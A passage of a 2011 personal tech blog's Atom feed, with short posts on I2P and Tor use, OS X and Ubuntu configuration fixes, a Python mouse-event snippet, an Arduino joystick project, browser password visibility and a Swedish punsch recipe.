I could find any good guides on how to connect with I2P (notetoself: write your own) but basically you go to &lt;a href=&quot;http://localhost:7657/i2ptunnel/index.jsp&quot;&gt;local tunnel configurations&lt;/a&gt; and create a new client &lt;span class=&quot;caps&quot;&gt;IRC&lt;/span&gt; client tunnel. Then you point it to kryptoanarki.i2p or the base64 code on the website. After this is done you can simply connect to localhost and the port you specified.&lt;br /&gt;
To flattr the project please use this button: &lt;br /&gt;
&lt;a class=&quot;FlattrButton&quot; style=&quot;display:none;&quot; href=&quot;http://kryptoanarki.se&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;noscript&gt;&lt;a href=&quot;http://flattr.com/thing/289926/Anonymous-IRC-server&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;
&lt;img src=&quot;http://api.flattr.com/button/flattr-badge-large.png&quot; alt=&quot;Flattr this&quot; title=&quot;Flattr this&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/noscript&gt;&lt;br /&gt;
and to flattr the blog use this one:&lt;/p&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Press key with Python on OS X</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/05/22/generate-key-press-os-x-with-python.html"/>
    <updated>2011-05-22T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/05/22/generate-key-press-os-x-with-python</id>
    <content type="html">&lt;h2&gt;Press key with Python on OS X&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;22 May 2011&lt;/p&gt;
&lt;p&gt;This is what I had to do to programmatically generate key pressed and mouse events on OS X with Python.&lt;br /&gt;
First I had to download a Python wrapper around Objective C which I found &lt;a href=&quot;http://pyobjc.sourceforge.net/downloads.html&quot;&gt;here&lt;/a&gt;. I downloaded the trunk (with svn) and then I navigated to the folder containing Quartz and ran the setup script. &lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;
	$	svn checkout http://svn.red-bean.com/pyobjc/trunk/
	$	cd trunk/pyobjc/pyobjc-framework-Quartz 
	$	python setup.py install
&lt;/pre&gt;
&lt;br /&gt;
Checking out the trunk acctualy checks out a lot of files not not needed, but hey, better safe than sorry.&lt;br /&gt;
After this was done I was able to import the Quart.CoreGraphics module in python.&lt;br /&gt;
I borrowed this code snippet from &lt;a href=&quot;http://www.geekorgy.com/index.php/2010/06/python-mouse-click-and-move-mouse-in-apple-mac-osx-snow-leopard-10-6-x/&quot;&gt;here&lt;/a&gt; to make sure it worked, and it did, like a charm. &lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;
	import sys
	import os
	import time
	from Quartz.CoreGraphics import CGEventCreateMouseEvent
	from Quartz.CoreGraphics import CGEventPost
	from Quartz.CoreGraphics import kCGEventMouseMoved
	from Quartz.CoreGraphics import kCGEventLeftMouseDown
	from Quartz.CoreGraphics import kCGEventLeftMouseDown
	from Quartz.CoreGraphics import kCGEventLeftMouseUp
	from Quartz.CoreGraphics import kCGMouseButtonLeft
	from Quartz.CoreGraphics import kCGHIDEventTap
	
	def mouseEvent(type, posx, posy):
	        theEvent = CGEventCreateMouseEvent(None, type, (posx,posy), kCGMouseButtonLeft)
	        CGEventPost(kCGHIDEventTap, theEvent)
	def mousemove(posx,posy):
	        mouseEvent(kCGEventMouseMoved, posx,posy)
	def mouseclick(posx,posy):
	        mouseEvent(kCGEventLeftMouseDown, posx,posy)
	        mouseEvent(kCGEventLeftMouseUp, posx,posy)
	def main():
		mousemove(0,0)
	if __name__ == '__main__':
		main()
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Read more on how to use Quartz &lt;a href=&quot;http://pyobjc.sourceforge.net/documentation/pyobjc-framework-Quartz/api-notes.html&quot;&gt;here&lt;/a&gt;&lt;/p&gt; </content>
  </entry>
  
 
  
  <entry>
    <title>Arduino joystick</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/05/22/arduino-joystick.html"/>
    <updated>2011-05-22T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/05/22/arduino-joystick</id>
    <content type="html">&lt;h2&gt;Arduino joystick&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;22 May 2011&lt;/p&gt;
&lt;p&gt;I have made some more progress on my &lt;a href=&quot;/all/software/2010/11/09/arduino-sings.html&quot;&gt;ardunio&lt;/a&gt; &lt;a href=&quot;/all/software/2011/01/09/ardunio-moves.html&quot;&gt;&amp;#8220;joystick&amp;#8221;&lt;/a&gt;.&lt;br /&gt;
I have now added support for the joystick (and not just the buttons) and written an interface allowing it to work with the xte library on Linux computers. &lt;br/&gt;It is far from done, at the moment a keypress generates alot of mouse clicks (as you can see in the video) and it needs more work in the sensitivity on the joystick.&lt;br /&gt;I will soon release the source code on GitHub (if I can manage to find the C code I have compiled to the arduino). &lt;/p&gt;
&lt;p&gt;Here is a low-qual video of me demonstraiting the controller on Ubuntu 10.04.&lt;br /&gt;
&lt;iframe width=&quot;560&quot; height=&quot;349&quot; src=&quot;http://www.youtube.com/embed/UJ-Wwq4npRg&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;caps&quot;&gt;UPDATE&lt;/span&gt;:&lt;/b&gt; I&amp;#8217;ve got the damn thing running on OS X Snow Leopard too. Here is another low qual video of me demonstrating the joystick.&lt;br /&gt;
&lt;object width=&quot;425&quot; height=&quot;344&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/Pgv_NHmfmQA?hl=sv&amp;fs=1&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;/param&gt;&lt;embed src=&quot;http://www.youtube.com/v/Pgv_NHmfmQA?hl=sv&amp;fs=1&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;425&quot; height=&quot;344&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
Maybe not the most jaw dropping project out there, but you have to excuse me, I am having too much fun ^^&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>The Absolute Sandman</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/05/17/the-absolute-sandman.html"/>
    <updated>2011-05-17T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/05/17/the-absolute-sandman</id>
    <content type="html">&lt;h2&gt;The Absolute Sandman&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;17 May 2011&lt;/p&gt;
&lt;p&gt;As soon as I get some cash&amp;#8230;&lt;br /&gt; &lt;a href=&quot;http://farm4.static.flickr.com/3239/2290328850_c752387d1e.jpg&quot;&gt;&lt;img src=&quot;http://farm4.static.flickr.com/3239/2290328850_c752387d1e.jpg&quot; width=&quot;300px&quot; alt=&quot;The Absolute Sandman&quot; style=&quot;display:block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Python ftp client</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2011/05/15/python-ftp-client.html"/>
    <updated>2011-05-15T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2011/05/15/python-ftp-client</id>
    <content type="html">&lt;h2&gt;Python ftp client&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;15 May 2011&lt;/p&gt;
&lt;p&gt;I started writing a terminal based &lt;span class=&quot;caps&quot;&gt;FTP&lt;/span&gt; client in python a few days back. The idea is that it should support multiple servers allowing the user the search them all at once and automating the choice of server when a file is selected for download.&lt;br /&gt;
The project is open source and can be found &lt;a href=&quot;https://github.com/melpomene/FTPCircle/&quot;&gt;here on github&lt;/a&gt;. Feel free to help out, it is nowhere near done (really just a zero-day iteration atm).&lt;br /&gt;
&lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;script src=&quot;/js/github.commits.widget-min.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;script&gt;
    $(function () {
        $('#github-commits').githubInfoWidget(
      { user: 'melpomene', repo: 'FTPCircle', branch: 'master', last: 5 });
    });
&lt;/script&gt;
&lt;div id=&quot;github-commits&quot;&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;Update:&lt;/b&gt; &lt;a href=&quot;http://sikevux.se/2011/05/open-source-is-great/&quot;&gt;A nice read&lt;/a&gt; about the joy of Open Source and a mention to this project. &lt;/p&gt;&lt;br /&gt;
Here is a Flattr button for the project:&lt;br /&gt;
&lt;a class=&quot;FlattrButton&quot; style=&quot;display:none;&quot; href=&quot;http://blog.kejsarmakten.se/all/projects/2011/05/15/python-ftp-client.html&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;noscript&gt;&lt;a href=&quot;http://flattr.com/thing/277491/FTPCircle&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;
&lt;img src=&quot;http://api.flattr.com/button/flattr-badge-large.png&quot; alt=&quot;Flattr this&quot; title=&quot;Flattr this&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/noscript&gt;&lt;br /&gt;
This one is for the blog in general:&lt;/p&gt;
&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Laptop stickers</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/05/13/laptop-stickers.html"/>
    <updated>2011-05-13T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/05/13/laptop-stickers</id>
    <content type="html">&lt;h2&gt;Laptop stickers&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;13 May 2011&lt;br /&gt;
&lt;p&gt;Got two new stickers for my new laptop. &lt;br /&gt;
	&lt;a href=&quot;/images/stickers.jpg&quot;&gt;&lt;img src=&quot;/images/stickers.jpg&quot; width=&quot;240px&quot; alt=&quot;laptop stickers&quot; style=&quot;display:block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
The Anonymous-suit-guy I bought at &lt;a href=&quot;https://stuckoff.3dcartstores.com/&quot;&gt;stuckoff.com&lt;/a&gt;. It is really nice quality but I had to cut of bits of his legs since I the laptop is 13&amp;quot; and it seemed to be made to fit the 15&amp;quot; models. &lt;br /&gt;
The &lt;a href=&quot;http://telecomix.org/&quot;&gt;telecomix&lt;/a&gt; sticker I got from &lt;a href=&quot;http://sikevux.se/&quot;&gt;Sikevux&lt;/a&gt; (Thanks!). &lt;/p&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Chrome and Firefox shows passwords in plaintext</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/05/03/chrome-shows-passwords-in-plain-text.html"/>
    <updated>2011-05-03T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/05/03/chrome-shows-passwords-in-plain-text</id>
    <content type="html">&lt;h2&gt;Chrome and Firefox shows passwords in plaintext&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;03 May 2011&lt;/p&gt;
&lt;p&gt;I just noticied that when if you access &lt;b&gt;Options&amp;#8594;Personal&amp;#8594;Password Manager&lt;/b&gt; in Chrome or &lt;b&gt;Settings&amp;#8594;Security&amp;#8594;Stored Passwords&lt;/b&gt; in Firefox your password are shown in plain text. Thus is it easy for anyone who has access to your computer to see all your stored passwords in plaintext and not just access the sites from your computer. &lt;br /&gt;
You can protect yourself against this in Firefox by setting a Master Password, in &lt;b&gt;Settings&amp;#8594;Security&lt;/b&gt;, forcing anyone using your computer to type in a password to get access to the other passwords. I do not know of a way to do this in Chrome, but if you do please leave a comment. &lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Brygga punsch</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/04/28/brygga-punsch.html"/>
    <updated>2011-04-28T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/04/28/brygga-punsch</id>
    <content type="html">&lt;h2&gt;Brygga punsch&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;28 Apr 2011&lt;/p&gt;
&lt;p&gt;Inspirerad av &lt;a href=&quot;http://www.youtube.com/watch?v=utxhIwzIPVU&quot;&gt;Edward Bloms framträdande&lt;/a&gt; bryggde jag nyss Punsch enligt följande recept:&lt;br /&gt;
&lt;br /&gt;
* 3,5 dl Arrak&lt;br /&gt;
* 1dl starkt svart te&lt;br /&gt;
* 1,5 dl brännvin&lt;br /&gt;
* 2 dl strösocker &lt;br /&gt;
* 1/2 dl citron&lt;br /&gt;
* 3,5 dl kokande vatten&lt;br /&gt;
&lt;br /&gt;
Jag lade även till&lt;br /&gt;
* 4 cl brandy/cognac&lt;br /&gt;
* 1 tsk honung&lt;br /&gt;
&lt;a href=&quot;/images/flaskor.jpg&quot;&gt;&lt;img src=&quot;/images/studentnaring.jpg&quot; width=&quot;300px&quot; alt=&quot;Huvudingredienserna&quot; style=&quot;display:block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Blanda först alla de kalla ingredienserna. När du har hällt på sockret så rör om tills det har löst sig. Häll därefter på det kokande vattnet, smaka av och tillsätt sedan efter tycke. &lt;br /&gt;
&lt;br /&gt;
Nu skall min punsch stå till sig och smakas av om några veckor och jag skall då återkomma med det slutliga omdömet men jag kan påpeka redan nu att jag fann Punschen att vara något för sur. Nästa gång jag försöker (skam den som ger sig) så skall jag minska mängden citron och eventuellt ha lite mer sötma i. Jag är även intresserad av att blanda i lite whisky för att förgylla smaken. &lt;br /&gt;
&lt;a href=&quot;/images/skal.jpg&quot;&gt;&lt;img src=&quot;/images/skal.jpg&quot; width=&quot;140px&quot; alt=&quot;Färdigblandat&quot; style=&quot;display:block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Punschreceptet får en egen flattr-knapp:&lt;br /&gt;
&lt;a class=&quot;FlattrButton&quot; style=&quot;display:none; display:block; margin-left: auto; margin-right: auto;&quot; href=&quot;http://blog.kejsarmakten.se/all/personal/2011/04/28/brygga-punsch.html&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;noscript&gt;&lt;a href=&quot;http://flattr.com/thing/177227/Punschrecept&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;
&lt;img src=&quot;http://api.flattr.com/button/flattr-badge-large.png&quot; style=&quot;display:block; margin-left: auto; margin-right: auto;&quot;  alt=&quot;Flattr this&quot; title=&quot;Flattr this&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/noscript&gt;
&lt;p&gt;Har du något punschrecept eller förslag på förbättringar så lämna gärna en kommentar, detta är ju trots allt mitt första försök.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Efter att ha kokat ett par omgångar punsch till kan jag starkt rekommendera att koka upp ett sockerlag istället för att blanda ut sockret direkt i drycken som ovan.&lt;br /&gt;
&lt;!-- &lt;a href=&quot;/images/flaska.jpg&quot;&gt;&lt;img src=&quot;/images/flaska.jpg&quot; /&gt;&lt;/a&gt; --&gt;&lt;/p&gt;
&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Using I2P instance on a server locally on laptop</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/04/27/use-i2p-from-server.html"/>
    <updated>2011-04-27T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/04/27/use-i2p-from-server</id>
    <content type="html">&lt;h2&gt;Using I2P instance on a server locally on laptop&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;27 Apr 2011&lt;/p&gt;
&lt;p&gt;To avoid battery drainage, and such, I do not run &lt;a href=&quot;http://i2p2.de/&quot;&gt;I2P&lt;/a&gt; locally on my laptops since I already run a rather high speed node on one of my servers. &lt;br /&gt;
But of couse, like everyone else, I like to be able to visit my darknetz even on the move. So I have solved this by using &lt;span class=&quot;caps&quot;&gt;SSH&lt;/span&gt; to make an encrypted tunnel to my server and binding port 4444 (the standard port) on localhost to 4444 on the server running my I2P node. It works like a charm. &lt;br /&gt;
I put this in my .bash_profile (or .bashrc or whatever floats your boat).&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;function i2p(){&lt;br /&gt;        ssh -NL 4444:localhost:4444 user@my_server_ip_or_address.com &lt;br/&gt;}&lt;/pre&gt; &lt;br /&gt;
As I have &lt;a href=&quot;http://blog.kejsarmakten.se/all/software/2010/12/03/connecting-to-i2p.html&quot;&gt;written about before&lt;/a&gt; I use FoxyProxy to automatically choose when I need to use the I2P port and when I do not. &lt;br /&gt;
It really works like a charm.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Send Page Up to Weechat in OS X terminal</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/04/22/page-up-to-weechat-in-os-x.html"/>
    <updated>2011-04-22T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/04/22/page-up-to-weechat-in-os-x</id>
    <content type="html">&lt;h2&gt;Send Page Up to Weechat in OS X terminal&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;22 Apr 2011&lt;/p&gt;
&lt;p&gt;To send Page Up to Weechat when you are using the OS X terminal (instead of page up triggering &amp;#8220;scroll up&amp;#8221; in the terminal window) press &lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;[shift][ctrl] + [up]&lt;/pre&gt; &lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>TrueCrypt on OS X Snow Leopard</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/04/19/truecrypt-on-snow-leopard.html"/>
    <updated>2011-04-19T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/04/19/truecrypt-on-snow-leopard</id>
    <content type="html">&lt;h2&gt;TrueCrypt on OS X Snow Leopard&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;19 Feb 2011&lt;/p&gt;
&lt;p&gt;It seems that there is a generalt notion out there that &lt;b&gt;Snow Leopard&lt;/b&gt; breaks the support for &lt;b&gt;TrueCrypt&lt;/b&gt; on &lt;b&gt;OS X&lt;/b&gt;. &lt;br /&gt;
It is true that you are unable to mount encrypted files after install. I got an error saying something like &lt;i&gt;macfuse file system not available&lt;/i&gt;.&lt;br /&gt;
There exists an easy fix for this though:&lt;br /&gt;
The problem seems to be caused by a dependency,&lt;i&gt; MacFuse&lt;/i&gt;, that does not work with the 64bit verison of OS X. I solved this by installing another binary of MacFuse that supports 64bit OS X.&lt;br /&gt;
It can be found &lt;a href=&quot;http://kuroc.at/blog/2011/03/macfuse-failed-to-load-fusefs-kext/&quot;&gt;here&lt;/a&gt;. If you do not trust the source it may be possible to install MacFuse&lt;br /&gt;
through MacPorts with 64bit support, I have not confirmed this though. If you know more about this please drop a comment below.&lt;br /&gt; &lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Problem with authentication on APF on Ubuntu</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/04/15/AFP-login-error-on-ubuntu.html"/>
    <updated>2011-04-15T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/04/15/AFP-login-error-on-ubuntu</id>
    <content type="html">&lt;h2&gt;Problem with authentication on &lt;span class=&quot;caps&quot;&gt;APF&lt;/span&gt; on Ubuntu&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;15 Apr 2011&lt;/p&gt;
&lt;p&gt;After setting up an &lt;span class=&quot;caps&quot;&gt;APF&lt;/span&gt; share on my Ubuntu machine I was unable to authenticate correctly when I tried to connect to it with my OS X machine.&lt;br /&gt;
The login window claimed that I used a incorrect username or password. &lt;br /&gt;
I found the solution to it &lt;a href=&quot;http://ubuntuforums.org/showthread.php?t=1676498&quot;&gt;here on the ubuntu forum&lt;/a&gt;:&lt;br /&gt;
Simply edit the /etc/netatalk/afpd.conf config file and replace &amp;#8216;uams_dhx.so&amp;#8217; with &amp;#8216;uams_dhx2.so&amp;#8217; so the line looks like so: &lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;- -transall -uamlist uams_randnum.so,uams_dhx2.so,uams_guest.so -nosavepassword -advertise_ssh&lt;/pre&gt;&lt;br /&gt;
I set up the share while following &lt;a href=&quot;http://www.kremalicious.com/2008/06/ubuntu-as-mac-file-server-and-time-machine-volume/&quot;&gt;this great guide&lt;/a&gt; so I expect that a lot of Ubuntu users following the guide will run into the same problem.&lt;br /&gt;
Also: Since I used Ubuntu 10.10 Netatalk already seems to contain the necesary encryption and I could skip compiling it myself and I simply got it by grabbing it from the repository with &lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;sudo apt-get install netatalk&lt;/pre&gt; &lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Check your IP adress in the terminal</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/03/29/check-ip-in-terminal.html"/>
    <updated>2011-03-29T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/03/29/check-ip-in-terminal</id>
    <content type="html">&lt;h2&gt;Check your IP adress in the terminal&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;29 Mar 2011&lt;/p&gt;
&lt;p&gt;Here is a simple way of finding out what &lt;span class=&quot;caps&quot;&gt;WAN&lt;/span&gt; IP adress you have, according to an &lt;a href=&quot;http://whatismyip.com&quot;&gt;external source&lt;/a&gt;, through the terminal. &lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;        wget www.whatismyip.com/automation/n09230945.asp&lt;/pre&gt;&lt;br /&gt;
A file called &lt;b&gt;n09230945.asp&lt;/b&gt; will now have appeared in your current working directory containing your IP adress.&lt;br /&gt; &lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt;&lt;br/&gt;
A find got a much cleaner solution as a tip in the comments. &lt;br /&gt;
I put these commands in the .bash_profile file in my home directory. &lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;function myip(){&lt;br /&gt;	curl www.whatismyip.com/automation/n09230945.asp&lt;br/&gt;	echo &amp;quot;&amp;quot;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;
(To reaload the .bash_profile file without rebooting write &lt;i&gt;source .bash_profile&lt;/i&gt; and the settings will be reread).&lt;br /&gt;
Now I am able to check the IP adress by writing &lt;pre class=&quot;terminal&quot;&gt;myip&lt;/pre&gt; in the terminal and get the output directly in the terminal. &lt;br /&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>The TOR bundle as torrent</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/03/28/tor-bundle-as-torrent.html"/>
    <updated>2011-03-28T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/03/28/tor-bundle-as-torrent</id>
    <content type="html">&lt;h2&gt;The &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; bundle as torrent&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;28 Mars 2011&lt;/p&gt;
&lt;p&gt;Here is a copy of the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot;&gt;&lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; bundle&lt;/a&gt; as a torrent file. &lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;/torrent/tor-browser-gnu-linux-i686-1.1.6-dev-en-US.tar.gz.275dbef3d55082be.torrent&quot;&gt;&lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; Bundle Linux i686 1.1.6&lt;/a&gt; (&lt;a href=&quot;/torrent/tor-browser-gnu-linux-i686-1.1.6-dev-en-US.tar.gz.asc&quot;&gt;sig&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/torrent/tor-browser-gnu-linux-x86_64-1.1.6-dev-en-US.tar.gz.adbcaeeeff6d50d1.torrent&quot;&gt;&lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; Bundle Linux x86_64 1.1.6&lt;/a&gt; (&lt;a href=&quot;/torrent/tor-browser-gnu-linux-x86_64-1.1.6-dev-en-US.tar.gz.asc&quot;&gt;sig&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Currently only the Linux versions, if someone wants me to host OS X or Windows versions please drop a comment below. &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;What is it?&lt;/b&gt; The &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; bundle is a package that contains &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; and Mozilla Firefox. You just download it and start the browser included and you will be connected to the &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; network. A good solution if you want to stay anonymous on a borrowed/public computer. &lt;br /&gt;
If you are at home on your own computer I do not recommend that you use the &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; bundle but rather download the normal &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; installation. In that way you are able to use your Internet connection to contribute to the &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; network and help speeding it up and not just leeching on other peoples bandwidth. A simple way to become an everyday hero by helping repressed people around the world get Freedom of Speech. &lt;br /&gt;
&lt;b&gt;Why?&lt;/b&gt; I thought it a bit weird that torproject.org doesn&amp;#8217;t offer the tor bundles as torrents. &lt;br /&gt;
I&amp;#8217;m just guessing here but it seem to me that their website would be the first thing blocked if someone were trying to censor Internet traffic. &lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Please help me seed these torrents.&lt;/b&gt; Also, if you notice that the bundle torrent hosted here is an old version please notify me and I will try to keep it updated.&lt;/p&gt;
&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Install Firefox 4 on Ubuntu</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/03/24/install-firefox-4.html"/>
    <updated>2011-03-24T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/03/24/install-firefox-4</id>
    <content type="html">&lt;h2&gt;Install Firefox 4 on Ubuntu&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;24 Mar 2011&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve not been able to update the blog recently. I&amp;#8217;ve been busy busy with exams and a trip to Finland to visit Åbo Nation. Here comes a minor update.&lt;/p&gt;
&lt;p&gt;Currently if you do a normal update from the Ubuntu repository Mozilla Firefox does not get updated to the latest stable release (4). &lt;br /&gt;
To avoid having to install another Firefox browsers you can add the Mozilla repository. &lt;br /&gt;
Simply type &lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;sudo add-apt-repository ppa:mozillateam/firefox-stable&lt;br /&gt;
sudo apt-get update&lt;br /&gt;
sudo apt-get upgrade&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Voilá. Your Firefox browser is now updated to the latest stable release. &lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>No password hashes loaded</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/02/15/no-password-hashes-loaded.html"/>
    <updated>2011-02-15T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/02/15/no-password-hashes-loaded</id>
    <content type="html">&lt;h2&gt;No password hashes loaded&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;15 Feb 2011&lt;/p&gt;
&lt;p&gt;If you get the error message &amp;#8220;No password hashes loaded&amp;#8221; when using &lt;b&gt;John the Ripper&lt;/b&gt; on Ubuntu it is probably due to the fact that you are using the repositary version on Ubuntu 9.04 or a later version.&lt;br /&gt;
This is because it lacks sha-512 ecnryption support. To fix this you have to compile it yourself. Read more about it &lt;a href=&quot;http://pka.engr.ccny.cuny.edu/~jmao/node/26&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>SharePhoto for android - NO LONGER MAINTAINED</title>
    <link href="http://blog.kejsarmakten.se/sharephoto.html"/>
    <updated>2011-02-13T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/sharephoto</id>
    <content type="html">&lt;h2&gt;SharePhoto for android &amp;#8211; NO &lt;span class=&quot;caps&quot;&gt;LONGER&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;MAINTAINED&lt;/span&gt;&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;13 Feb 2011&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt; Please note that this project is no longer maintained and is made unavailable.&lt;/b&gt;&lt;br /&gt;
&lt;p&gt;SharePhoto is a android application design to help people share pictures easily. &lt;br /&gt;
The application uploads the picture to a webserver and presents the user with an easily shareable &lt;span class=&quot;caps&quot;&gt;URL&lt;/span&gt;!&lt;br /&gt;
The pictures are hosted for 24h and are removed after that.&lt;/p&gt;
&lt;p&gt;The application is currently unavailable on Android Market but I hope that an official launch is imminent.&lt;/p&gt;&lt;br /&gt;
&lt;h3&gt;How-to&lt;/h3&gt;&lt;br /&gt;
&lt;p&gt;To share a picture open the gallery and press the Share-button and then select SharePhoto. Now you are done!&lt;br /&gt;
